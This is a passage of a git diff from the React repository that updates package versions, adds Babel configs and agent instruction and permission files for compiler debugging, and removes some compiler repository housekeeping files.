 
 This example will render "Hello Taylor" into a container on the page.
 
-You'll notice that we used an HTML-like syntax; [we call it JSX](https://react.dev/learn#writing-markup-with-jsx). JSX is not required to use React, but it makes code more readable, and writing it feels like writing HTML. 
+You'll notice that we used an HTML-like syntax; [we call it JSX](https://react.dev/learn#writing-markup-with-jsx). JSX is not required to use React, but it makes code more readable, and writing it feels like writing HTML.
 
 ## Contributing
 
diff --git a/ReactVersions.js b/ReactVersions.js
index 8fb7586ec892..dd8c78afb133 100644
--- a/ReactVersions.js
+++ b/ReactVersions.js
@@ -7,52 +7,53 @@
 //
 // The @latest channel uses the version as-is, e.g.:
 //
-//   19.0.0
+//   19.3.0
 //
 // The @canary channel appends additional information, with the scheme
 // <version>-<label>-<commit_sha>, e.g.:
 //
-//   19.0.0-canary-a1c2d3e4
+//   19.3.0-canary-a1c2d3e4
 //
 // The @experimental channel doesn't include a version, only a date and a sha, e.g.:
 //
 //   0.0.0-experimental-241c4467e-20200129
 
-const ReactVersion = '19.0.0';
+const ReactVersion = '19.3.0';
 
 // The label used by the @canary channel. Represents the upcoming release's
 // stability. Most of the time, this will be "canary", but we may temporarily
 // choose to change it to "alpha", "beta", "rc", etc.
 //
 // It only affects the label used in the version string. To customize the
-// npm dist tags used during publish, refer to .circleci/config.yml.
-const canaryChannelLabel = 'rc';
+// npm dist tags used during publish, refer to .github/workflows/runtime_prereleases_*.yml.
+const canaryChannelLabel = 'canary';
 
 // If the canaryChannelLabel is "rc", the build pipeline will use this to build
 // an RC version of the packages.
 const rcNumber = 0;
 
 const stablePackages = {
-  'eslint-plugin-react-hooks': '5.1.0',
-  'jest-react': '0.16.0',
+  'eslint-plugin-react-hooks': '7.1.0',
+  'jest-react': '0.18.0',
   react: ReactVersion,
   'react-art': ReactVersion,
   'react-dom': ReactVersion,
   'react-server-dom-webpack': ReactVersion,
   'react-server-dom-turbopack': ReactVersion,
+  'react-server-dom-parcel': ReactVersion,
   'react-is': ReactVersion,
-  'react-reconciler': '0.31.0',
-  'react-refresh': '0.16.0',
+  'react-reconciler': '0.34.0',
+  'react-refresh': '0.19.0',
   'react-test-renderer': ReactVersion,
-  'use-subscription': '1.10.0',
-  'use-sync-external-store': '1.4.0',
-  scheduler: '0.25.0',
+  'use-subscription': '1.13.0',
+  'use-sync-external-store': '1.7.0',
+  scheduler: '0.28.0',
 };
 
 // These packages do not exist in the @canary or @latest channel, only
 // @experimental. We don't use semver, just the commit sha, so this is just a
 // list of package names instead of a map.
-const experimentalPackages = [];
+const experimentalPackages = ['react-markup'];
 
 module.exports = {
   ReactVersion,
diff --git a/babel.config-react-compiler.js b/babel.config-react-compiler.js
new file mode 100644
index 000000000000..11fb8c292e39
--- /dev/null
+++ b/babel.config-react-compiler.js
@@ -0,0 +1,19 @@
+'use strict';
+
+/**
+ * HACK: @poteto React Compiler inlines Zod in its build artifact. Zod spreads values passed to .map
+ * which causes issues in @babel/plugin-transform-spread in loose mode, as it will result in
+ * {undefined: undefined} which fails to parse.
+ *
+ * [@babel/plugin-transform-block-scoping', {throwIfClosureRequired: true}] also causes issues with
+ * the built version of the compiler. The minimal set of plugins needed for this file is reexported
+ * from babel.config-ts.
+ *
+ * I will remove this hack later when we move eslint-plugin-react-hooks into the compiler directory.
+ **/
+
+const baseConfig = require('./babel.config-ts');
+
+module.exports = {
+  plugins: baseConfig.plugins,
+};
diff --git a/babel.config-ts.js b/babel.config-ts.js
new file mode 100644
index 000000000000..02ffb447b371
--- /dev/null
+++ b/babel.config-ts.js
@@ -0,0 +1,18 @@
+/**
+ * This file is purely being used for local jest runs, and doesn't participate in the build process.
+ */
+'use strict';
+
+module.exports = {
+  plugins: [
+    '@babel/plugin-syntax-jsx',
+    '@babel/plugin-transform-flow-strip-types',
+    ['@babel/plugin-transform-class-properties', {loose: true}],
+    ['@babel/plugin-transform-private-methods', {loose: true}],
+    '@babel/plugin-transform-classes',
+  ],
+  presets: [
+    ['@babel/preset-env', {targets: {node: 'current'}}],
+    '@babel/preset-typescript',
+  ],
+};
diff --git a/compiler/.claude/agents/investigate-error.md b/compiler/.claude/agents/investigate-error.md
new file mode 100644
index 000000000000..ef32227cb6a4
--- /dev/null
+++ b/compiler/.claude/agents/investigate-error.md
@@ -0,0 +1,113 @@
+---
+name: investigate-error
+description: Investigates React compiler errors to determine the root cause and identify potential mitigation(s). Use this agent when the user asks to 'investigate a bug', 'debug why this fixture errors', 'understand why the compiler is failing', 'find the root cause of a compiler issue', or when they provide a snippet of code and ask to debug. Use automatically when encountering a failing test case, in order to understand the root cause.
+model: opus
+color: pink
+---
+
+You are an expert React Compiler debugging specialist with deep knowledge of compiler internals, intermediate representations, and optimization passes. Your mission is to systematically investigate compiler bugs to identify root causes and provide actionable information for fixes.
+
+## Your Investigation Process
+
+### Step 1: Create Test Fixture
+Create a new fixture file at `packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/<fixture-name>.js` containing the problematic code. Use a descriptive name that reflects the issue (e.g., `bug-optional-chain-in-effect.js`).
+
+### Step 2: Run Debug Compilation
+Execute `yarn snap -d -p <fixture-name>` to compile the fixture with full debug output. This shows the state of the program after each compilation pass. You can also use `yarn snap compile -d <path-to-fixture>`.
+
+### Step 3: Analyze Compilation Results
+
+### Step 3a: If the fixture compiles successfully
+- Compare the output against the user's expected behavior
+- Review each compilation pass output from the `-d` flag
+- Identify the first pass where the output diverges from expected behavior
+- Proceed to binary search simplification
+
+### Step 3b: If the fixture errors
+Execute `yarn snap minimize --update <path-to-fixture>` to remove non-critical aspects of the failing test case. This **updates the fixture in place**.
+
+Re-read the fixture file to see the latest, minimal reproduction of the error.
+
+### Step 4: Iteratively adjust the fixture until it stops erroring
+After the previous step the fixture will have all extraneous aspects removed. Try to make further edits to determine the specific feature that is causing the error.
+
+Ideas:
+* Replace immediately-invoked function expressions with labeled blocks
+* Remove statements
+* Simplify calls (remove arguments, replace the call with its lone argument)
+* Simplify control flow statements by picking a single branch. Try using a labeled block with just the selected block
+* Replace optional member/call expressions with non-optional versions
+* Remove items in array/object expressions
+* Remove properties from member expressions
+
+Try to make the minimal possible edit to get the fixture stop erroring.
+
+### Step 5: Compare Debug Outputs
+With both minimal versions (failing and non-failing):
+- Run `yarn snap -d -p <fixture-name>` on both
+- Compare the debug output pass-by-pass
+- Identify the exact pass where behavior diverges
+- Note specific differences in HIR, effects, or generated code
+
+### Step 6: Investigate Compiler Logic
+- Read the documentation for the problematic pass in `packages/babel-plugin-react-compiler/docs/passes/`
+- Examine the pass implementation in `packages/babel-plugin-react-compiler/src/`
+- Key directories to investigate:
+  - `src/HIR/` - IR definitions and utilities
+  - `src/Inference/` - Effect inference (aliasing, mutation)
+  - `src/Validation/` - Validation passes
+  - `src/Optimization/` - Optimization passes
+  - `src/ReactiveScopes/` - Reactive scope analysis
+- Identify specific code locations that may be handling the pattern incorrectly
+
+## Output Format
+
+Provide a structured investigation report:
+
+```
+## Investigation Summary
+
+### Bug Description
+[Brief description of the issue]
+
+### Minimal Failing Fixture
+```javascript
+// packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/<name>.js
+[minimal code that reproduces the error]
+```
+
+### Minimal Non-Failing Fixture
+```javascript
+// The simplest change that makes it work
+[code that compiles correctly]
+```
+
+### Problematic Compiler Pass
+[Name of the pass where the issue occurs]
+
+### Root Cause Analysis
+[Explanation of what the compiler is doing wrong]
+
+### Suspect Code Locations
+- `packages/babel-plugin-react-compiler/src/<path>:<line>:<column>` - [description of what may be incorrect]
+- [additional locations if applicable]
+
+### Suggested Fix Direction
+[Brief suggestion of how the bug might be fixed]
+```
+
+## Key Debugging Tips
+
+1. The debug output (`-d` flag) shows the program state after each pass - use this to pinpoint where things go wrong
+2. Look for `@aliasingEffects=` on FunctionExpressions to understand data flow
+3. Check for `Impure`, `Render`, `Capture` effects on instructions
+4. The pass ordering in `Pipeline.ts` shows when effects are populated vs validated
+5. Todo errors indicate unsupported but known patterns; Invariant errors indicate unexpected states
+
+## Important Reminders
+
+- Always create the fixture file before running tests
+- Use descriptive fixture names that indicate the bug being investigated
+- Keep both failing and non-failing minimal versions for your report
+- Provide specific file:line:column references when identifying suspect code
+- Read the relevant pass documentation before making conclusions about the cause
diff --git a/compiler/.claude/settings.json b/compiler/.claude/settings.json
new file mode 100644
index 000000000000..6f27a36ce3d4
--- /dev/null
+++ b/compiler/.claude/settings.json
@@ -0,0 +1,18 @@
+{
+  "permissions": {
+    "allow": [
+      "Bash(yarn snap:*)",
+      "Bash(yarn snap:build)",
+      "Bash(node scripts/enable-feature-flag.js:*)"
+    ],
+    "deny": [
+      "Skill(extract-errors)",
+      "Skill(feature-flags)",
+      "Skill(fix)",
+      "Skill(flags)",
+      "Skill(flow)",
+      "Skill(test)",
+      "Skill(verify)"
+    ]
+  }
+}
diff --git a/compiler/.eslintrc.js b/compiler/.eslintrc.js
index 996046a13003..2f68f5c3103c 100644
--- a/compiler/.eslintrc.js
+++ b/compiler/.eslintrc.js
@@ -43,6 +43,12 @@ module.exports = {
 
     "multiline-comment-style": ["error", "starred-block"],
 
+    /**
+     * We sometimes need to check for control characters in regexes for things like preserving input
+     * strings
+     */
+    "no-control-regex": "off",
+
     "@typescript-eslint/no-empty-function": "off",
 
     /*
@@ -82,7 +88,7 @@ module.exports = {
     ],
     "@typescript-eslint/array-type": ["error", { default: "generic" }],
     "@typescript-eslint/triple-slash-reference": "off",
-    "@typescript-eslint/no-var-requires": "off"
+    "@typescript-eslint/no-var-requires": "off",
   },
   parser: "@typescript-eslint/parser",
   plugins: ["@typescript-eslint"],
diff --git a/compiler/.gitignore b/compiler/.gitignore
index 01003c659c62..70622d250d00 100644
--- a/compiler/.gitignore
+++ b/compiler/.gitignore
@@ -1,24 +1,16 @@
 .DS_Store
 .spr.yml
 
-# Generated by Cargo
-# will have compiled files and executables
-debug/
-target/
-
-# These are backup files generated by rustfmt
-**/*.rs.bk
-
-# MSVC Windows builds of rustc generate these, which store debugging information
-*.pdb
-
 node_modules
 .watchmanconfig
 .watchman-cookie-*
 dist
 .vscode
 !packages/playground/.vscode
-.spr.yml
 testfilter.txt
+.claude/settings.local.json
+
+# forgive
+*.vsix
+.vscode-test
 
-bundle-oss.sh
\ No newline at end of file
diff --git a/compiler/.prettierignore b/compiler/.prettierignore
deleted file mode 100644
index 410e88836cb6..000000000000
--- a/compiler/.prettierignore
+++ /dev/null
@@ -1,21 +0,0 @@
-**/dist
-**/__tests__/fixtures/**/*.expect.md
-**/__tests__/fixtures/**/*.flow.js
-**/.next
-
-crates
-apps/playground/public
-
-**/LICENSE
-.*
-*.md*
-*.json
-*.css
-*.webmanifest
-*.map
-*.sh
-*.txt
-*.ico
-*.svg
-*.lock
-*.toml
diff --git a/compiler/.prettierrc.js b/compiler/.prettierrc.js
deleted file mode 100644
index 37917d7082fb..000000000000
--- a/compiler/.prettierrc.js
+++ /dev/null
@@ -1,9 +0,0 @@
-const config = {
-  requirePragma: false,
-  parser: "babel-ts",
-  semi: true,
-  singleQuote: false,
-  trailingComma: "es5"
-}
-
-module.exports = config;
diff --git a/compiler/.watchmanconfig b/compiler/.watchmanconfig
deleted file mode 100644
index 0967ef424bce..000000000000
--- a/compiler/.watchmanconfig
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/compiler/CHANGELOG.md b/compiler/CHANGELOG.md
new file mode 100644
index 000000000000..32e21efba0cd
--- /dev/null
+++ b/compiler/CHANGELOG.md
@@ -0,0 +1,65 @@
+## 19.1.0-rc.2 (May 14, 2025)
+
+## babel-plugin-react-compiler
+
+* Fix for string attribute values with emoji [#33096](https://github.com/facebook/react/pull/33096) by [@josephsavona](https://github.com/josephsavona)
+
+## 19.1.0-rc.1 (April 21, 2025)
+
+## eslint-plugin-react-hooks
+* Temporarily disable ref access in render validation [#32839](https://github.com/facebook/react/pull/32839) by [@poteto](https://github.com/poteto)
+* Fix type error with recommended config [#32666](https://github.com/facebook/react/pull/32666) by [@niklasholm](https://github.com/niklasholm)
+* Merge rule from eslint-plugin-react-compiler into `react-hooks` plugin [#32416](https://github.com/facebook/react/pull/32416) by [@michaelfaith](https://github.com/michaelfaith)
+* Add dev dependencies for typescript migration [#32279](https://github.com/facebook/react/pull/32279) by [@michaelfaith](https://github.com/michaelfaith)
+* Support v9 context api [#32045](https://github.com/facebook/react/pull/32045) by [@michaelfaith](https://github.com/michaelfaith)
+* Support eslint 8+ flat plugin syntax out of the box for eslint-plugin-react-compiler [#32120](https://github.com/facebook/react/pull/32120) by [@orta](https://github.com/orta)
+
+## babel-plugin-react-compiler
+* Support satisfies operator [#32742](https://github.com/facebook/react/pull/32742) by [@rodrigofariow](https://github.com/rodrigofariow)
+* Fix inferEffectDependencies lint false positives [#32769](https://github.com/facebook/react/pull/32769) by [@mofeiZ](https://github.com/mofeiZ)
+* Fix hoisting of let declarations [#32724](https://github.com/facebook/react/pull/32724) by [@mofeiZ](https://github.com/mofeiZ)
+* Avoid failing builds when import specifiers conflict or shadow vars [#32663](https://github.com/facebook/react/pull/32663) by [@mofeiZ](https://github.com/mofeiZ)
+* Optimize components declared with arrow function and implicit return and `compilationMode: 'infer'` [#31792](https://github.com/facebook/react/pull/31792) by [@dimaMachina](https://github.com/dimaMachina)
+* Validate static components [#32683](https://github.com/facebook/react/pull/32683) by [@josephsavona](https://github.com/josephsavona)
+* Hoist dependencies from functions more conservatively [#32616](https://github.com/facebook/react/pull/32616) by [@mofeiZ](https://github.com/mofeiZ)
+* Implement NumericLiteral as ObjectPropertyKey [#31791](https://github.com/facebook/react/pull/31791) by [@dimaMachina](https://github.com/dimaMachina)
+* Avoid bailouts when inserting gating [#32598](https://github.com/facebook/react/pull/32598) by [@mofeiZ](https://github.com/mofeiZ)
+* Stop bailing out early for hoisted gated functions [#32597](https://github.com/facebook/react/pull/32597) by [@mofeiZ](https://github.com/mofeiZ)
+* Add shape for Array.from [#32522](https://github.com/facebook/react/pull/32522) by [@mofeiZ](https://github.com/mofeiZ)
+* Patch array and argument spread mutability [#32521](https://github.com/facebook/react/pull/32521) by [@mofeiZ](https://github.com/mofeiZ)
+* Make CompilerError compatible with reflection [#32539](https://github.com/facebook/react/pull/32539) by [@poteto](https://github.com/poteto)
+* Add simple walltime measurement [#32331](https://github.com/facebook/react/pull/32331) by [@poteto](https://github.com/poteto)
+* Improve error messages for unhandled terminal and instruction kinds [#32324](https://github.com/facebook/react/pull/32324) by [@inottn](https://github.com/inottn)
+* Handle TSInstantiationExpression in lowerExpression [#32302](https://github.com/facebook/react/pull/32302) by [@inottn](https://github.com/inottn)
+* Fix invalid Array.map type [#32095](https://github.com/facebook/react/pull/32095) by [@mofeiZ](https://github.com/mofeiZ)
+* Patch for JSX escape sequences in @babel/generator [#32131](https://github.com/facebook/react/pull/32131) by [@mofeiZ](https://github.com/mofeiZ)
+* `JSXText` emits incorrect with bracket [#32138](https://github.com/facebook/react/pull/32138) by [@himself65](https://github.com/himself65)
+* Validation against calling impure functions [#31960](https://github.com/facebook/react/pull/31960) by [@josephsavona](https://github.com/josephsavona)
+* Always target node [#32091](https://github.com/facebook/react/pull/32091) by [@poteto](https://github.com/poteto)
+* Patch compilationMode:infer object method edge case [#32055](https://github.com/facebook/react/pull/32055) by [@mofeiZ](https://github.com/mofeiZ)
+* Generate ts defs [#31994](https://github.com/facebook/react/pull/31994) by [@poteto](https://github.com/poteto)
+* Relax react peer dep requirement [#31915](https://github.com/facebook/react/pull/31915) by [@poteto](https://github.com/poteto)
+* Allow type cast expressions with refs [#31871](https://github.com/facebook/react/pull/31871) by [@josephsavona](https://github.com/josephsavona)
+* Add shape for global Object.keys [#31583](https://github.com/facebook/react/pull/31583) by [@mofeiZ](https://github.com/mofeiZ)
+* Optimize method calls w props receiver [#31775](https://github.com/facebook/react/pull/31775) by [@josephsavona](https://github.com/josephsavona)
+* Fix dropped ref with spread props in InlineJsxTransform [#31726](https://github.com/facebook/react/pull/31726) by [@jackpope](https://github.com/jackpope)
+* Support for non-declatation for in/of iterators [#31710](https://github.com/facebook/react/pull/31710) by [@mvitousek](https://github.com/mvitousek)
+* Support for context variable loop iterators [#31709](https://github.com/facebook/react/pull/31709) by [@mvitousek](https://github.com/mvitousek)
+* Replace deprecated dependency in `eslint-plugin-react-compiler` [#31629](https://github.com/facebook/react/pull/31629) by [@rakleed](https://github.com/rakleed)
+* Support enableRefAsProp in jsx transform [#31558](https://github.com/facebook/react/pull/31558) by [@jackpope](https://github.com/jackpope)
+* Fix: ref.current now correctly reactive [#31521](https://github.com/facebook/react/pull/31521) by [@mofeiZ](https://github.com/mofeiZ)
+* Outline JSX with non-jsx children [#31442](https://github.com/facebook/react/pull/31442) by [@gsathya](https://github.com/gsathya)
+* Outline jsx with duplicate attributes [#31441](https://github.com/facebook/react/pull/31441) by [@gsathya](https://github.com/gsathya)
+* Store original and new prop names [#31440](https://github.com/facebook/react/pull/31440) by [@gsathya](https://github.com/gsathya)
+* Stabilize compiler output: sort deps and decls by name [#31362](https://github.com/facebook/react/pull/31362) by [@mofeiZ](https://github.com/mofeiZ)
+* Bugfix for hoistable deps for nested functions [#31345](https://github.com/facebook/react/pull/31345) by [@mofeiZ](https://github.com/mofeiZ)
+* Remove compiler runtime-compat fixture library [#31430](https://github.com/facebook/react/pull/31430) by [@poteto](https://github.com/poteto)
+* Wrap inline jsx transform codegen in conditional [#31267](https://github.com/facebook/react/pull/31267) by [@jackpope](https://github.com/jackpope)
+* Check if local identifier is a hook when resolving globals [#31384](https://github.com/facebook/react/pull/31384) by [@poteto](https://github.com/poteto)
+* Handle member expr as computed property [#31344](https://github.com/facebook/react/pull/31344) by [@gsathya](https://github.com/gsathya)
+* Fix to ref access check to ban ref?.current [#31360](https://github.com/facebook/react/pull/31360) by [@mvitousek](https://github.com/mvitousek)
+* InlineJSXTransform transforms jsx inside function expressions [#31282](https://github.com/facebook/react/pull/31282) by [@josephsavona](https://github.com/josephsavona)
+
+## Other
+* Add shebang to banner [#32225](https://github.com/facebook/react/pull/32225) by [@Jeremy-Hibiki](https://github.com/Jeremy-Hibiki)
+* remove terser from react-compiler-runtime build [#31326](https://github.com/facebook/react/pull/31326) by [@henryqdineen](https://github.com/henryqdineen)
diff --git a/compiler/CLAUDE.md b/compiler/CLAUDE.md
new file mode 100644
index 000000000000..877c74a8a5d4
--- /dev/null
+++ b/compiler/CLAUDE.md
@@ -0,0 +1,261 @@
+# React Compiler Knowledge Base
+
+This document contains knowledge about the React Compiler gathered during development sessions. It serves as a reference for understanding the codebase architecture and key concepts.
+
+## Project Structure
+
+When modifying the compiler, you MUST read the documentation about that pass in `compiler/packages/babel-plugin-react-compiler/docs/passes/` to learn more about the role of that pass within the compiler.
+
+- `packages/babel-plugin-react-compiler/` - Main compiler package
+  - `src/HIR/` - High-level Intermediate Representation types and utilities
+  - `src/Inference/` - Effect inference passes (aliasing, mutation, etc.)
+  - `src/Validation/` - Validation passes that check for errors
+  - `src/Entrypoint/Pipeline.ts` - Main compilation pipeline with pass ordering
+  - `src/__tests__/fixtures/compiler/` - Test fixtures
+    - `error.todo-*.js` - Unsupported feature, correctly throws Todo error (graceful bailout)
+    - `error.bug-*.js` - Known bug, throws wrong error type or incorrect behavior
+    - `*.expect.md` - Expected output for each fixture
+
+## Running Tests
+
+```bash
+# Run all tests
+yarn snap
+
+# Run tests matching a pattern
+# Example: yarn snap -p 'error.*'
+yarn snap -p <pattern>
+
+# Run a single fixture in debug mode. Use the path relative to the __tests__/fixtures/compiler directory
+# For each step of compilation, outputs the step name and state of the compiled program
+# Example: yarn snap -p simple.js -d
+yarn snap -p <file-basename> -d
+
+# Update fixture outputs (also works with -p)
+yarn snap -u
+```
+
+## Linting
+
+```bash
+# Run lint on the compiler source
+yarn workspace babel-plugin-react-compiler lint
+```
+
+## Formatting
+
+```bash
+# Run prettier on all files (from the react root directory, not compiler/)
+yarn prettier-all
+```
+
+## Compiling Arbitrary Files
+
+Use `yarn snap compile` to compile any file (not just fixtures) with the React Compiler:
+
+```bash
+# Compile a file and see the output
+yarn snap compile <path>
+
+# Compile with debug logging to see the state after each compiler pass
+# This is an alternative to `yarn snap -d -p <pattern>` when you don't have a fixture file yet
+yarn snap compile --debug <path>
+```
+
+## Minimizing Test Cases
+
+Use `yarn snap minimize` to automatically reduce a failing test case to its minimal reproduction:
+
+```bash
+# Minimize a file that causes a compiler error
+yarn snap minimize <path>
+
+# Minimize and update the file in-place with the minimized version
+yarn snap minimize --update <path>
+```
+
+## Version Control
+
+This repository uses Sapling (`sl`) for version control. Sapling is similar to Mercurial: there is not staging area, but new/deleted files must be explicitly added/removed.
+
+```bash
+# Check status
+sl status
+
+# Add new files, remove deleted files
+sl addremove
+
+# Commit all changes
+sl commit -m "Your commit message"
+
+# Commit with multi-line message using heredoc
+sl commit -m "$(cat <<'EOF'
+Summary line
+
+Detailed description here
+EOF
+)"
+```
+
+## Key Concepts
+
+### HIR (High-level Intermediate Representation)
+
+The compiler converts source code to HIR for analysis. Key types in `src/HIR/HIR.ts`:
+
+- **HIRFunction** - A function being compiled
+  - `body.blocks` - Map of BasicBlocks
+  - `context` - Captured variables from outer scope
+  - `params` - Function parameters
+  - `returns` - The function's return place
+  - `aliasingEffects` - Effects that describe the function's behavior when called
+
+- **Instruction** - A single operation
+  - `lvalue` - The place being assigned to
+  - `value` - The instruction kind (CallExpression, FunctionExpression, LoadLocal, etc.)
+  - `effects` - Array of AliasingEffects for this instruction
+
+- **Terminal** - Block terminators (return, branch, etc.)
+  - `effects` - Array of AliasingEffects
+
+- **Place** - A reference to a value
+  - `identifier.id` - Unique IdentifierId
+
+- **Phi nodes** - Join points for values from different control flow paths
+  - Located at `block.phis`
+  - `phi.place` - The result place
+  - `phi.operands` - Map of predecessor block to source place
+
+### AliasingEffects System
+
+Effects describe data flow and operations. Defined in `src/Inference/AliasingEffects.ts`:
+
+**Data Flow Effects:**
+- `Impure` - Marks a place as containing an impure value (e.g., Date.now() result, ref.current)
+- `Capture a -> b` - Value from `a` is captured into `b` (mutable capture)
+- `Alias a -> b` - `b` aliases `a`
+- `ImmutableCapture a -> b` - Immutable capture (like Capture but read-only)
+- `Assign a -> b` - Direct assignment
+- `MaybeAlias a -> b` - Possible aliasing
+- `CreateFrom a -> b` - Created from source
+
+**Mutation Effects:**
+- `Mutate value` - Value is mutated
+- `MutateTransitive value` - Value and transitive captures are mutated
+- `MutateConditionally value` - May mutate
+- `MutateTransitiveConditionally value` - May mutate transitively
+
+**Other Effects:**
+- `Render place` - Place is used in render context (JSX props, component return)
+- `Freeze place` - Place is frozen (made immutable)
+- `Create place` - New value created
+- `CreateFunction` - Function expression created, includes `captures` array
+- `Apply` - Function application with receiver, function, args, and result
+
+### Hook Aliasing Signatures
+
+Located in `src/HIR/Globals.ts`, hooks can define custom aliasing signatures to control how data flows through them.
+
+**Structure:**
+```typescript
+aliasing: {
+  receiver: '@receiver',    // The hook function itself
+  params: ['@param0'],      // Named positional parameters
+  rest: '@rest',            // Rest parameters (or null)
+  returns: '@returns',      // Return value
+  temporaries: [],          // Temporary values during execution
+  effects: [                // Array of effects to apply when hook is called
+    {kind: 'Freeze', value: '@param0', reason: ValueReason.HookCaptured},
+    {kind: 'Assign', from: '@param0', into: '@returns'},
+  ],
+}
+```
+
+**Common patterns:**
+
+1. **RenderHookAliasing** (useState, useContext, useMemo, useCallback):
+   - Freezes arguments (`Freeze @rest`)
+   - Marks arguments as render-time (`Render @rest`)
+   - Creates frozen return value
+   - Aliases arguments to return
+
+2. **EffectHookAliasing** (useEffect, useLayoutEffect, useInsertionEffect):
+   - Freezes function and deps
+   - Creates internal effect object
+   - Captures function and deps into effect
+   - Returns undefined
+
+3. **Event handler hooks** (useEffectEvent):
+   - Freezes callback (`Freeze @fn`)
+   - Aliases input to return (`Assign @fn -> @returns`)
+   - NO Render effect (callback not called during render)
+
+**Example: useEffectEvent**
+```typescript
+const UseEffectEventHook = addHook(
+  DEFAULT_SHAPES,
+  {
+    positionalParams: [Effect.Freeze],  // Takes one positional param
+    restParam: null,
+    returnType: {kind: 'Function', ...},
+    calleeEffect: Effect.Read,
+    hookKind: 'useEffectEvent',
+    returnValueKind: ValueKind.Frozen,
+    aliasing: {
+      receiver: '@receiver',
+      params: ['@fn'],              // Name for the callback parameter
+      rest: null,
+      returns: '@returns',
+      temporaries: [],
+      effects: [
+        {kind: 'Freeze', value: '@fn', reason: ValueReason.HookCaptured},
+        {kind: 'Assign', from: '@fn', into: '@returns'},
+        // Note: NO Render effect - callback is not called during render
+      ],
+    },
+  },
+  BuiltInUseEffectEventId,
+);
+
+// Add as both names for compatibility
+['useEffectEvent', UseEffectEventHook],
+['experimental_useEffectEvent', UseEffectEventHook],
+```
+
+**Key insight:** If a hook is missing an `aliasing` config, it falls back to `DefaultNonmutatingHook` which includes a `Render` effect on all arguments. This can cause false positives for hooks like `useEffectEvent` whose callbacks are not called during render.
+
+## Feature Flags
+
+Feature flags are configured in `src/HIR/Environment.ts`, for example `enableJsxOutlining`. Test fixtures can override the active feature flags used for that fixture via a comment pragma on the first line of the fixture input, for example:
+
+```javascript
+// enableJsxOutlining @enableNameAnonymousFunctions:false
+
+...code...
+```
+
+Would enable the `enableJsxOutlining` feature and disable the `enableNameAnonymousFunctions` feature.
+
+## Debugging Tips
+
+1. Run `yarn snap -p <fixture>` to see full HIR output with effects
+2. Look for `@aliasingEffects=` on FunctionExpressions
+3. Look for `Impure`, `Render`, `Capture` effects on instructions
+4. Check the pass ordering in Pipeline.ts to understand when effects are populated vs validated
+
+## Error Handling and Fault Tolerance
+
+The compiler is fault-tolerant: it runs all passes and accumulates errors on the `Environment` rather than throwing on the first error. This lets users see all compilation errors at once.
+
+**Recording errors** — Passes record errors via `env.recordError(diagnostic)`. Errors are accumulated on `Environment.#errors` and checked at the end of the pipeline via `env.hasErrors()` / `env.aggregateErrors()`.
+
+**`tryRecord()` wrapper** — In Pipeline.ts, validation passes are wrapped in `env.tryRecord(() => pass(hir))` which catches thrown `CompilerError`s (non-invariant) and records them. Infrastructure/transformation passes are NOT wrapped in `tryRecord()` because later passes depend on their output being structurally valid.
+
+**Error categories:**
+- `CompilerError.throwTodo()` — Unsupported but known pattern. Graceful bailout. Can be caught by `tryRecord()`.
+- `CompilerError.invariant()` — Truly unexpected/invalid state. Always throws immediately, never caught by `tryRecord()`.
+- Non-`CompilerError` exceptions — Always re-thrown.
+
+**Key files:** `Environment.ts` (`recordError`, `tryRecord`, `hasErrors`, `aggregateErrors`), `Pipeline.ts` (pass orchestration), `Program.ts` (`tryCompileFunction` handles the `Result`).
+
+**Test fixtures:** `__tests__/fixtures/compiler/fault-tolerance/` contains multi-error fixtures verifying all errors are reported.
diff --git a/compiler/CODE_OF_CONDUCT.md b/compiler/CODE_OF_CONDUCT.md
deleted file mode 100644
index 08b500a22185..000000000000
--- a/compiler/CODE_OF_CONDUCT.md
+++ /dev/null
@@ -1,80 +0,0 @@
-# Code of Conduct
-
-## Our Pledge
-
-In the interest of fostering an open and welcoming environment, we as
-contributors and maintainers pledge to make participation in our project and
-our community a harassment-free experience for everyone, regardless of age, body
-size, disability, ethnicity, sex characteristics, gender identity and expression,
-level of experience, education, socio-economic status, nationality, personal
-appearance, race, religion, or sexual identity and orientation.
-
-## Our Standards
-
-Examples of behavior that contributes to creating a positive environment
-include:
-
-* Using welcoming and inclusive language
-* Being respectful of differing viewpoints and experiences
-* Gracefully accepting constructive criticism
-* Focusing on what is best for the community
-* Showing empathy towards other community members
-
-Examples of unacceptable behavior by participants include:
-
-* The use of sexualized language or imagery and unwelcome sexual attention or
-  advances
-* Trolling, insulting/derogatory comments, and personal or political attacks
-* Public or private harassment
-* Publishing others' private information, such as a physical or electronic
-  address, without explicit permission
-* Other conduct which could reasonably be considered inappropriate in a
-  professional setting
-
-## Our Responsibilities
-
-Project maintainers are responsible for clarifying the standards of acceptable
-behavior and are expected to take appropriate and fair corrective action in
-response to any instances of unacceptable behavior.
-
-Project maintainers have the right and responsibility to remove, edit, or
-reject comments, commits, code, wiki edits, issues, and other contributions
-that are not aligned to this Code of Conduct, or to ban temporarily or
-permanently any contributor for other behaviors that they deem inappropriate,
-threatening, offensive, or harmful.
-
-## Scope
-
-This Code of Conduct applies within all project spaces, and it also applies when
-an individual is representing the project or its community in public spaces.
-Examples of representing a project or community include using an official
-project e-mail address, posting via an official social media account, or acting
-as an appointed representative at an online or offline event. Representation of
-a project may be further defined and clarified by project maintainers.
-
-This Code of Conduct also applies outside the project spaces when there is a
-reasonable belief that an individual's behavior may have a negative impact on
-the project or its community.
-
-## Enforcement
-
-Instances of abusive, harassing, or otherwise unacceptable behavior may be
-reported by contacting the project team at <opensource-conduct@fb.com>. All
-complaints will be reviewed and investigated and will result in a response that
-is deemed necessary and appropriate to the circumstances. The project team is
-obligated to maintain confidentiality with regard to the reporter of an incident.
-Further details of specific enforcement policies may be posted separately.
-
-Project maintainers who do not follow or enforce the Code of Conduct in good
-faith may face temporary or permanent repercussions as determined by other
-members of the project's leadership.
-
-## Attribution
-
-This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
-available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
-
-[homepage]: https://www.contributor-covenant.org
-
-For answers to common questions about this code of conduct, see
-https://www.contributor-covenant.org/faq
diff --git a/compiler/CONTRIBUTING.md b/compiler/CONTRIBUTING.md
deleted file mode 100644
index 2c943b2d5138..000000000000
--- a/compiler/CONTRIBUTING.md
+++ /dev/null
@@ -1,31 +0,0 @@
-# Contributing to react-forget
-We want to make contributing to this project as easy and transparent as
-possible.
-
-## Pull Requests
-We actively welcome your pull requests.
-
-1. Fork the repo and create your branch from `main`.
-2. If you've added code that should be tested, add tests.
